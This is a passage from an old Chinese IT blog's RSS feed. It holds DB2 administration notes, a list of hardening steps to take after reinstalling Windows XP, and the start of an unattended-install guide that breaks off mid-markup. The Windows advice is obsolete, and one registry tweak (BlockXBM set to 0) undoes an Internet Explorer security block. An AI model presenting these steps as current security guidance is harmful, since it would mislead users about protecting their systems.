<p align=left><span>系统模式集是和每个数据库一起创建的，并且它们被放置到<span> SYSCATSPACE </span>表空间中。</span></p>
<ul type=disc>
    <li><span>SYSIBM</span><span>：基本系统目录，建议不要进行直接访问</span></li>
    <li><span>SYSCAT</span><span>：<span>PUBLIC </span>被授予该模式的<span> SELECT </span>权限，对只读视图编目，这是获取目录信息的推荐方式</span></li>
    <li><span>SYSSTAT</span><span>：可更新的目录视图 － 影响优化器</span></li>
    <li><span>SYSFUN</span><span>：用户定义的函数</span></li>
</ul>
<p align=left><span>如果表中的现有行不满足约束，则不能定义该约束。可以关闭约束检查以加快大量数据的添加，但是该表处于检查暂挂（<span>CHECK PENDING</span>）状态。<span><br><br></span>在创建表时，可以使用选项来指定一个或多个表空间，表和索引将被放置到其中：</span></p>
<p align=left><span>CREATE TABLE TEST (<br>column 1 definition, column 2 definition, ...<br>) IN &lt;tablespace name&gt; INDEX IN &lt;index space name&gt;</span></p>
<p align=left><span>这条命令为您提供了一个选项：指定创建表和索引的位置。如果没有指定单独的索引表空间，那么将在表所在的同一表空间中创建索引。创建表之后，就没有机会在不同的表空间中创建索引了。创建索引要提前作规划！</span></p>
<p align=left><span>CREATE &lt;UNIQUE&gt; INDEX &lt;index name&gt; ON &lt;table name&gt;<br>(<br>column 1 &lt;ASC | DESC&gt; ,<br>column 2 &lt;ASC | DESC&gt; ...<br>)</span></p>
<p align=left><span>UNIQUE </span><span>属性告诉<span> DB2</span>，索引必须强制所有插入值的唯一性。<span><br></span>如果结果集是以升序和降序两种方式排序的，<span>ALLOW REVERSE SCANS </span>会告诉<span> DB2 </span>在索引中包括附加的指针，以允许在记录中有效地进行正向和反向链接。<span><br><br>DB2 </span>能够向正在创建的索引中添加另外的列。<span>CREATE INDEX </span>命令允许用户指定那些不属于实际索引但因为性能原因而保存在索引记录中的列。</span></p>
<p align=left><span>CREATE UNIQUE INDEX ON EMPLOYEE (EMPNO) INCLUDE (LASTNAME,FIRSTNAME)</span></p>
<p align=left><span>对于索引中包含的列而言，索引必须是<span> UNIQUE </span>的。当创建索引时，另外的列被添加到索引值中。索引不使用这些值进行排序或确定唯一性，但可以在满足<span> SQL </span>查询时使用它们。例如，下列<span> SELECT </span>语句将不需要读取实际数据行：</span></p>
<p align=left><span>SELECT LASTNAME, FIRSTNAME FROM EMPLOYEE WHERE EMPNO &lt; '000300'</span></p>
<p align=left><span>要在表上创建群集索引，将<span> CLUSTER </span>关键字附加到<span> CREATE INDEX </span>命令的末尾，例如：</span></p>
<p align=left><span>CREATE INDEX <st1:place w:st="on"><st1:city w:st="on">DEPTS-IX</st1:city> <st1:state w:st="on">ON</st1:state></st1:place> EMPLOYEE(WORKDEPT) CLUSTER</span></p>
<p align=left><span>使用下列通用规则来决定为表定义的索引的经典数量。索引数量取决于数据库的主要用途：<span><br></span>对于在线事务处理（<span>OLTP</span>）环境，创建一到两个索引。<span><br></span>对于混合查询和<span> OLTP </span>环境，创建两到五个索引。<span><br></span>对于只读查询环境，创建五个以上索引。<span><br><br></span>在<span>Windows</span>平台上的<span>DB2</span>的命令行模式下，或者在类<span>Unix</span>平台下，使用命令<span>db2cc</span>启动控制中心。<span><br><br>db2move</span>提供了在数据库之间批量移动数据的能力，可以指定某个表，也可以指定整个数据库的表。</span></p>
<p align=left><span>$ db2move dbname action</span></p>
<p align=left><span>action </span><span>可以指定为：<span>export, import</span>或者<span>load<br></span>使用<span> -l </span>参数指定<span>lob</span>对象存储的文件夹<span><br><br></span>执行增量备份要求设置数据库配置参数<span>&#8220;trackmod&#8221;</span>的值为<span>&#8220;YES&#8221;<br></span>执行在线备份要求设置数据库配置参数<span>&#8220;logretain&#8221;</span>的值为<span>&#8220;YES&#8221;</span>，在线备份语法：</span></p>
<p align=left><span>$ db2 backup db dbname online to path</span></p>
<p align=left><span>当删除了<span>das</span>用户的<span>home</span>目录，未先<span>drop</span>掉<span>das</span>服务，则再执行<span>dasdrop</span>则不成功，提示：<span><br>db2admin </span>命令无法找到，原因是<span>db2admin</span>命令保存在<span>das</span>的<span>home</span>目录中。<span><br></span>可以删除干净<span>das</span>用户的<span>home</span>目录后，重起服务器解决此问题。</span></p>
<p align=left><span>$ dasupdt dasName </span><span>升级<span>das<br>$ db2iupdt instName </span>升级实例<span><br>$ db2licd end </span>停止许可证守护进程</span></p>
<p align=left><span>在<span>Linux</span>系统安装<span>DB2 V8.1</span>后，<span>db2fmcd</span>进程会自动启动，即使不启动实例和<span>DAS</span>，<span><br><br></span>在中文<span>Linux</span>环境下安装了<span>DB2</span>数据库服务，并使用<span>GBK</span>代码页（<span>codepage</span>）创建了一个数据库，完成后可以正常连接操作，若更改操作系统代码页为英语，则使用<span>&#8220;db2 connect&#8221;</span>时会报错，连接时无法转换代码页。</span></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32143.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 15:12 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2个人版快速入门</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 20 Aug 2007 16:47:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32127.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32127.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32127.html</trackback:ping><description><![CDATA[<a href="http://www.cnitblog.com/Files/szdlinxie/db2AA.pdf">/Files/szdlinxie/db2AA.pdf</a>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32127.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 00:47 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2安装配置补遗</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 20 Aug 2007 16:44:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32125.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32125.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32125.html</trackback:ping><description><![CDATA[<a href="http://www.cnitblog.com/Files/szdlinxie/db2C.pdf">/Files/szdlinxie/db2C.pdf</a>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32125.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 00:44 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2服务器快速入门</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32123.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 20 Aug 2007 16:39:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32123.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32123.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32123.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32123.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32123.html</trackback:ping><description><![CDATA[<p><a href="http://www.cnitblog.com/Files/szdlinxie/db2.rar">/Files/szdlinxie/db2.rar</a></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32123.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 00:39 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32123.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>系统重装后免中毒十招技巧</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20727.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 02:46:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20727.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20727.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20727.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20727.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20727.html</trackback:ping><description><![CDATA[
		<p>系统重装后免中毒十招技巧在操作系统进行重新安装后，由于安全设置以及补丁未及时安装等问题，最容易导致病毒的大肆入侵，因此一些必备的补充措施是非常关键的，“北方网”在《新系统最容易中毒，重装系统后要做十件大事》一文中给出了10条建议，值得大家借鉴。 </p>
		<p>　　第1件大事：不要急着接入网络 </p>
		<p>　　在安装完成Windows后，不要立即把服务器接入网络，因为这时的服务器还没有打上各种补丁，存在各种漏洞，非常容易感染病毒和被入侵。此时要加上冲击波和震撼波补丁后并重新启动再联入互联网。 </p>
		<p>　　第2件大事：给系统打补丁/安装杀毒软件 </p>
		<p>　　不用多说，冲击波和震荡波病毒的补丁是一定要打上的，如果你安装了Windows XP SP2则不用再另行安装。 </p>
		<p>　　安装完系统后，一定要安装反病毒软件，同时将其更新到最新版本。 </p>
		<p>　　第3件大事：关闭系统还原 </p>
		<p>　　系统还原是Windows ME和Windows XP、Windows 2003中具有的功能，它允许我们将系统恢复到某一时间状态，从而可以避免我们重新安装操作系统。不过，有的人在执行系统还原后，发现除C盘外，其它的D盘、E盘都恢复到先前的状态了，结果里面保存的文件都没有了，造成了严重的损失! </p>
		<p>　　这是由于系统还原默认是针对硬盘上所有分区而言的，这样一旦进行了系统还原操作，那么所有分区的数据都会恢复。因此，我们必须按下Win+Break键，然后单击“系统还原”标签，取消“在所有驱动器上关闭系统还原”选项，然后选中D盘，单击“设置”按钮，在打开的窗口中选中“关闭这个驱动器上的系统还原”选项。 </p>
		<p>　　依次将其他的盘上的系统还原关闭即可。这样，一旦系统不稳定，可以利用系统还原工具还原C盘上的系统，但同时其他盘上的文件都不会有事。  <br />  　　第4件大事：给Administrator打上密码 </p>
		<p>　　可能有的人使用的是网上下载的万能Ghost版来安装的系统，也可能是使用的是Windows XP无人值守安装光盘安装的系统，利用这些方法安装时极有可能没有让你指定Administrator密码，或者Administrator的密码是默认的123456或干脆为空。这样的密码是相当危险的，因此，在安装完系统后，请右击“我的电脑”，选择“管理”，再选择左侧的“计算机管理（本地）→系统工具→本地用户和组→用户”，选中右侧窗口中的Administrator，右击，选择“设置密码”。 </p>
		<p>　　在打开窗口中单击“继续”按钮，即可在打开窗口中为Administrator设置密码。 </p>
		<p>　　另外，选择“新用户”，设置好用户名和密码，再双击新建用户，单击“隶属于”标签，将其中所有组（如果有）都选中，单击下方的“删除”按钮。再单击“添加”按钮，然后再在打开窗口中单击“高级”按钮，接着单击“立即查找”按钮，找到PowerUser或User组，单击“确定”两次，将此用户添加PowerUser或User组。注销当前用户，再以新用户登录可以发现系统快很多。 <br /><br />    第5件大事：关闭默认共享 <br />　　Windows安装后，会创建一些隐藏共享，主要用于管理员远程登录时管理系统时使用，但对于个人用户来说，这个很少用到，也不是很安全。所以，我们有必要要切断这个共享：先在d：下新建一个disshare.bat文件，在其中写上如下语句： </p>
		<p>　　@echo off </p>
		<p>　　net share C$/del </p>
		<p>　　net share d$/del </p>
		<p>　　netshare ipc$/del </p>
		<p>　　net share admin$ /del </p>
		<p>　　接下来?将d：disshare.bat拷贝到C：WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下。然后按下Win+R，输入gpedit.msc，在打开窗口中依次展开“用户配置→Windows设置→脚本（登录/注销）”文件夹，在右侧窗格中双击“登录”项，在弹出的窗口中，单击“添加”命令，选中C：WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下的disshare.bat文件。 </p>
		<p>　　完成上述设置后，重新启动系统，就能自动切断Windows XP的默认共享通道了，如果你有更多硬盘，请在net share d$/del下自行添加，如net share e$/del、net share f$/del等。 </p>
		<p>　　第6件大事：启用DMA传输模式 </p>
		<p>　　启用DMA模式之后，计算机周边设备（主要指硬盘）即可直接与内存交换数据，这样能加快硬盘读写速度，提高数据传输速率：打开“设备管理器”，其中“IDE ATA/ATAPI控制器”下有“主要IDE通道”和“次要IDE通道”，双击之，单击“高级设置”，该对话框会列出目前IDE接口所连接设备的传输模式，单击列表按钮将“传输模式”设置为“DMA（若可用）”。重新启动计算机即可生效。 </p>
		<p>  　　第7件大事：启用高级电源管理 </p>
		<p>　　有时候安装Windows XP之前会发现没有打开BIOS电源中的高级电源控制，安装Windows XP后，关闭Windows时，电源不会自动断开。这时，很多人选择了重新打开BIOS中的高级电源控制，并重新安装Windows XP。事实上，用不着这么麻烦，只要大家确认已经在BIOS中打开高级电源控制选项，同时选择ACPI Pc，一定不要选错，否则重启后可能无法进入Windows，并重新启动电脑，电脑可能会重新搜索并自动重新安装电脑的硬件，之后就可以使其支持高级电源控制了。 </p>
		<p>　　第8件大事：取消压缩文件夹支持 </p>
		<p>　　单击开始→运行，输入“regsvr32 /u zipfldr.dll”回车，出现提示窗口“zipfldr.dll中的Dll UnrgisterServer成功”即可取消Windows XP的压缩文件夹支持。另外，输入regsvr32 shdocvw.dll可以取消“图片和传真”与图片文件的关联。 </p>
		<p>　　第9件大事：取消“磁盘空间不足”通知 </p>
		<p>　　当磁盘驱动器的容量少于200MB时Windows XP便会发出“磁盘空间不足”的通知，非常烦人。可以打开“注册表编辑器”，定位到HKEY_CURRENT_USERSoftwareMi crosoftWindowsCurrentVersionPolicies Explorer，在“Explorer”上单击右键，选择右键菜单上的“新建”→“DWORD值”，将这个值命名为“NoLowDiskSpaceChecks”，双击该值将其中的“数值数据”设为“1”。 </p>
		<p>　　第10件大事：启用验证码 </p>
		<p>　　安装SP2后，大多数用户发现在访问某些需要填写验证码的地方，都无法显示验证码图片（显示为一个红色小叉），这是一个非常严重的Bug。解决办法为：运行“Regedit”命令打开注册表编辑器，依次定位到“[HKEY_ LOCAL_MACHINESOFTWAREMicrosoftInternet Explorer Security]”，在窗口右边新建一个名为“BlockXBM”的REG_ DWORD值，将其值设置为“0”（十六进制值）。  </p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20727.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 10:46 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20727.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>自动安装Windows</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20713.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 01:22:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20713.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20713.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20713.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20713.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20713.html</trackback:ping><description><![CDATA[
		<div class="style7" align="center">
				<span style="FONT-SIZE: 12pt">
						<b>自动安装Windows<br /><div class="daxiao14" align="left"><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><font size="2"><strong style="mso-bidi-font-weight: normal"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">步骤：</span></strong><strong style="mso-bidi-font-weight: normal"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><?XML:NAMESPACE PREFIX = O /?><o:p></o:p></span></strong></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l0 level1 lfo1; tab-stops: list 21.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">解压缩</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">Windows</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">安装盘</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">\Support\Tools\DEPLOY.CAB</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">中的</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">Setupmgr.exe<o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l0 level1 lfo1; tab-stops: list 21.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">2.<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">运行</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">Setupmgr.exe</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">，</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level2 lfo1; tab-stops: list 42.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">a)<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">选择</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“Create a new answer file”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">在选择</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“new or existing answer file”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">屏幕</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level2 lfo1; tab-stops: list 42.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">b)<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">选择</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“Unattended setup”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">在选择</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“type of setup” </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">屏幕</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level2 lfo1; tab-stops: list 42.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">c)<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">选择</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“Windows 2003</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">，</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">Enterprise Edition”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">在</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“Product” </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">屏幕</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level2 lfo1; tab-stops: list 42.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">d)<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">选择</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“fully automated”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">在</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“User Interaction” </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">屏幕</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level2 lfo1; tab-stops: list 42.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">e)<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">选择</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“Set up from a CD”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">在</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“distribution share” </span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">屏幕</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level2 lfo1; tab-stops: list 42.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">f)<span style="FONT: 7pt 'Times New Roman'">          </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">选择</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“I agree”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">接受协议。</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt"><o:p></o:p></span></font></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l0 level2 lfo1; tab-stops: list 42.0pt"><font size="2"><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt; mso-fareast-font-family: Arial"><span style="mso-list: Ignore">g)<span style="FONT: 7pt 'Times New Roman'">        </span></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">接下来才是</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“setup manager”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">的正式界面，在左边我们可以看到已经展开的三大项设置分别是</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“General setting”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">、</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“Network setting”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">和</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“Advance setting”</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">，并且会要求你输入姓名、单位、产品密钥、计算机名、管理员密码等等信息，如果不输入上述信息，则无法继续下去。输入正确后再为目标计算机选择显示设置、时区设置、网络组件、工作组或域、区域设置和语言、浏览器和</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">shell</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">设置、安装文件夹位置等选项。当以上所有步骤完成后，会弹出一个对话框让你输入</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">answer</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">（应答）文件的保存位置和文件名</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">(</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">当然也可以默认为</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 10.5pt">“unattend.txt”)</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; mso-bidi-font-family: Arial; mso-bidi-font-size: 10.5pt">，点击确定后系统会自动生成应答文件和一个批处理文件</span><span lang="EN-US" style="FONT-FAMILY: Arial; mso-bidi-font-size: 